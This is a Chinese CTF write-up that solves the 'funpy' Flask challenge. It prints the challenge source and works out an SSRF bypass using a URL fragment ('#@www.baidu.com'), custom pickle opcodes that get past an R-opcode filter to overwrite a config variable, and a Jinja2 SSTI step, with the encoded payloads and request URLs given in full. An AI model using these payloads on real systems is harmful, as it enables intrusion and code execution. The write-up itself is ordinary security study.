目录:

  • 第五题:
    • 一、自己做:
    • 二、不足&&学到的:
    • 三、学习WP:
      • 思路学习:
        • 1.绕过get_domain()
        • 2.绕过remote_addr() + \#
        • ssrf
        • 3. 关于反序列化
      • 关于python反序列化
        • 方法一:exec的方法,(纯属为了复习opcode)
        • 方法二、一定有方法二的
        • 方法三:用这个变量覆盖的方法(后面的用的是这个方法):
        • 4. 接着做 python反序列化 + ssti

第五题:

一、自己做:

做了个der,,,
审计代码差远了,

二、不足&&学到的:

  1. 学习了python的反序列化+入门级别的绕过
  2. url中的#定位符后面的不解析,就像sql注入中的#注释符一样,好用的很,
  3. remot_addr()不可伪造,如果可能的话,只有通过路由来伪造,
  4. ssti的敏感词 不认识 没有看出来Temlpate 是ssti的敏感词
  5. ssti无回显试getflag

理一下思路:
通过get_url路由进行绕过,绕过remote_addr进入admin路由,然后不适用R操作码进行反序列化的变量覆盖, + ssti 得到 ****

三、学习WP:

思路学习:

源码如下:

#! /usr/bin/env python
#encoding=utf-8
from flask import Flask,render_template
from flask import request
import urllib
import sys
import os
import pickle
import ctf_config
from jinja2 import Template
import base64
import ioapp = Flask(__name__)class RestrictedUnpickler(pickle.Unpickler):def find_class(self, module, name):if module == '__main__':return getattr(sys.modules['__main__'], name)raise pickle.UnpicklingError("only __main__")def get_domain(url):if url.startswith('http://'):url = url[7:]if not url.find("/") == -1:domain = url[url.find("@")+1:url.index("/",url.find("@"))]else:domain = url[url.find("@")+1:]return domainelse:return False@app.route("/", methods=['GET'])
def index():return render_template("index.html")@app.route("/get_baidu", methods=['GET'])
def get_baidu():url = request.args.get("url")if(url == None):return "please get url"if(get_domain(url) == "www.baidu.com"):content = urllib.request.urlopen(url).read()return contentelse:return render_template('index.html')@app.route("/admin", methods=['GET'])
def admin():data = request.args.get("data")if(data == None):return "please get data"ip = request.remote_addrif ip != '127.0.0.1':return redirect('index')else:name = base64.b64decode(data)if b'R' in name:return "no __reduce__"name = RestrictedUnpickler(io.BytesIO(name)).load()if name == "admin":t = Template("Hello " + name)else:t = Template("Hello " + ctf_config.name)return t.render()if __name__ == '__main__':app.debug = Falseapp.run(host='0.0.0.0', port=8000)

这是开始页面

1.绕过get_domain()

get_baidu这个路由,

@app.route("/get_baidu", methods=['GET'])
def get_baidu():url = request.args.get("url")if(url == None):return "please get url"if(get_domain(url) == "www.baidu.com"):content = urllib.request.urlopen(url).read()return contentelse:return render_template('index.html')

先进行了get_domain这个函数过滤这个有小讲一下这个get_domain()的。

2.绕过remote_addr() + #

然后读取 url 的内容,是学习班长的:

http://127.0.0.1:8080/admin#@www.baidu.com/

这样读取到定位符前边,就成功换路由了,这样我们就能够到了admin页面上去啦!!!。。。但是好像直接就能进去,,,哎呀不影响了。

这样不行,这里:

ssrf

    ip = request.remote_addrif ip != '127.0.0.1':

这个remote_addr不可伪造,限制了只能够是127.0.0.1 。网上也搜过了,无法伪造,如果可能的话也只能够通过路由来伪造,也就是这个题的考点,

这个也就是限制了只能够通过ssrf的方式来进行访问,
remote_addr相关知识。获取真是ip浏览器的ip

这个讲#的,。也就是相当于注释符吧,他说不会刷新页面只会存留一个历史记录,
然后就进去了,,班长的payload。

/get_baidu?url=http://127.0.0.1%3A8000/admin%23@www.baidu.com/

然后今来之后

        name = base64.b64decode(data)if b'R' in name:return "no __reduce__"name = RestrictedUnpickler(io.BytesIO(name)).load()if name == "admin":t = Template("Hello " + name)else:t = Template("Hello " + ctf_config.name)return t.render()

不能用reduce来,那就用变量覆盖嘛,

3. 关于反序列化

关于python反序列化

方法一:exec的方法,(纯属为了复习opcode)


pychar搓出来的opcode码

b"cbuiltins\nexec\n(Vctf_config.name='{{2*2}}'\ntR."

。。

艹了,大意了,,后面又R,忘求了,,,

方法二、一定有方法二的

算了,记不起来了,也没有找到,放一放吧,
班长这个方法不就是么,

b"c__main__\nctf_config\n}S'name'\nS'{{1+1}}'\nsb."

和我上个方法差不多 d 指令是创造一个dict,这个s指令是添加一个dict元素,首先有个dict就可以了
。搜不到详细解释s操作码的文章,怎么用也能看明白,
其他方法够用了,这个方法放一放d和s之分而已

方法三:用这个变量覆盖的方法(后面的用的是这个方法):

直接变量覆盖,mian然后到py文件

手搓opcode码:

b"c__main__\nctf_config\n(Vname\nV{{1}}\ndb."

如果兄弟萌没怎么看明白的话可以戳这个:这个的第三点有详细的解释。

然后,这里因为他是b64decode,所以我们先b64encode()一下,变成这样Y19fbWFpbl9fCmN0Zl9jb25maWcKKFZuYW1lClZ7ezF9fQpkYi4=

然后测试一下:get_baidu?url=http://127.0.0.1:8000/admin?data=Y19fbWFpbl9fCmN0Zl9jb25maWcKKFZuYW1lClZ7ezF9fQpkYi4=#@www.baidu.com/

然后这个编一下码,

????

然后测试 ssti 的poc:get_baidu?url=http%3A%2F%2F127.0.0.1%3A8000%2Fadmin?data=Y19fbWFpbl9fCmN0Zl9jb25maWcKKFZuYW1lClZ7ezF9fQpkYi4=%23%40www.baidu.com%2F

测试,发现成功了,

4. 接着做 python反序列化 + ssti

接下来就是ssti的问题了,这个就不再班门弄斧了,找个poc上去就行了。

结果不行,,网上那些poc不对,但是他又没有过滤啊,

那就可能是 位置不一样了,
看看
这是看这个:[].__class__.__base__.__subclasses__()
。。。。
黑脸,,

没有外显,怎么办,怎么办,,,

在我即将自暴自弃照抄 班长的WP的时候,我突然发现f12可以看到哎,,

然后我就,,,copy到文本文件里面,数数是第几个,,具体怎么数的就不说了,太笨了,试出来了,是第202个。。。。


终于找到了,没有过滤,好说,套上poc

换上就出了,

flag{Pyth0n_1s_th3_sec0nd_b3st_l4ngu4g3_1n_th3_w0r1d}

班长出题 -- funpy (带源码):python反序列化 + ssti + SSRF + remote_addr路由绕过 + url中的#定位符相关推荐

  1. MyEclipse使用总结——使用MyEclipse打包带源码的jar包

    平时开发中,我们喜欢将一些类打包成jar包,然后在别的项目中继续使用,不过由于看不到jar包里面的类的源码了,所以也就无法调试,要想调试,那么就只能通过关联源代码的形式,这样或多或少也有一些不方便,今 ...

  2. java打包带有外部jar,Eclipse使用总结——使用Eclipse打包带源码的jar包

    平时开发中,我们喜欢将一些类打包成jar包,然后在别的项目中继续使用,不过由于看不到jar包里面的类的源码了,所以也就无法调试,要想调试,那么就只能通过关联源代码的形式,这样或多或少也有一些不方便,今 ...

  3. [源码]python Scapy Ftp密码嗅探

    [源码]python Scapy Ftp密码嗅探 原理很简单,FTP密码明文传输的 截取tcp 21端口User和Pass数据即可 Scapy框架编译程序较大(一个空程序都25M),所以就不提供exe ...

  4. shiro实现无状态的会话,带源码分析

    转载请在页首明显处注明作者与出处 朱小杰      http://www.cnblogs.com/zhuxiaojie/p/7809767.html 一:说明 在网上都找不到相关的信息,还是翻了大半天 ...

  5. yun之梦 酒仙wang 实战 带源码

    yun之梦 酒仙wang 实战 带源码 链接: https://pan.baidu.com/s/1Bc7mGWP6rtysYjgLtrPzpA 提取码: 打赏了私发 qq877748714 生活不容易 ...

  6. [附源码]Python计算机毕业设计SSM绩效考核管理系统(程序+LW)

    [附源码]Python计算机毕业设计SSM绩效考核管理系统(程序+LW) 项目运行 环境配置: Jdk1.8 + Tomcat7.0 + Mysql + HBuilderX(Webstorm也行)+ ...

  7. Spring Beans 自动装配 使用XML配置列子(带源码)

    原文地址:http://websystique.com/spring/spring-beans-auto-wiring-example-using-xml-configuration/ [项目代码,在 ...

  8. Spring 4 Hello World 例子(带源码)

    原文地址:http://websystique.com/spring/spring-4-hello-world-example-annotation-tutorial-full-example/ [项 ...

  9. 宝宝智能起名,免费起名实现方案,带源码

    宝宝智能起名,免费起名实现方案!(带源码) 作为一个coder,没有什么问题是代码解决不了的,哈哈哈!调皮一下! 一个好的名字可以潜移默化的改变人的一生,很多人从来没有考虑到如何起一个好听的有文化的名 ...

最新文章

  1. idea设置自动编译
  2. html语言字体是否依赖客户端,【前端面试】HTML5+CSS3初级面试1
  3. 方立勋_30天掌握JavaWeb_JavaBean、mvc开发模式、el表达式、jstl标签
  4. [Linux C]递归遍历指定目录下的子目录和文件
  5. apache mod_xsendfile提高php文件下载速度的方法
  6. FD.io VPP startup.conf配置文件示例:安装后第一次配置
  7. 主板在计算机系统中的应用,浅谈主板在计算机硬件系统中的重要性.doc
  8. SecureCRT 64位 破解版v8.1.4及安装
  9. 松翰单片机SN8P2711AD实现AD转换的C语言程序例子
  10. 润乾统计图超链接使用例子
  11. Gavin老师Transformer直播课感悟 - BERT多任务Fine-tuning案例实战
  12. 还不懂PID控制?精华都在这了!
  13. 用c++实现贪吃蛇小游戏,初学者记录一下首次实现的经历,有超详细的思路与语法讲解,新手向
  14. Unity3d--基于对象池优化思想的音频管理系统
  15. 培训官赵敏:学员就是我们的产品[摘自上海科技报]
  16. c32+c32asm
  17. Win10 LTSC2021输入法失效解决办法
  18. C语言*p、p以及p的区别
  19. MySQL学习笔记——基础语句
  20. ae合成设置快捷键_AE模板 三秒速成的抖音加关注动画模板

热门文章

  1. 情商高的领导都是怎么说话?学会这14招,下属佩服的五体投地
  2. 开一家完美证件照照相馆需要考虑什么?
  3. uni-app和微信原生小程序的工具请求文件
  4. JDBC知识点/第三部分使用PreparedStatement增删改查
  5. Java基础|1-07-Object类与常见API(二)@API篇
  6. 开源不是天才的甜点,而是勤奋者的盛宴
  7. LAMP和LNMP的详解
  8. 扫描到计算机怎么转换为文字,通过扫描仪对文稿进行扫描,并将其自动转换成计算机可以识别的文字,称为()...
  9. 南京师范大学875计算机专业,2022年南京师范大学计算机科学与技术上岸考研经验分享及参考书...
  10. T-SQL Tips: 存储过程示例(典范)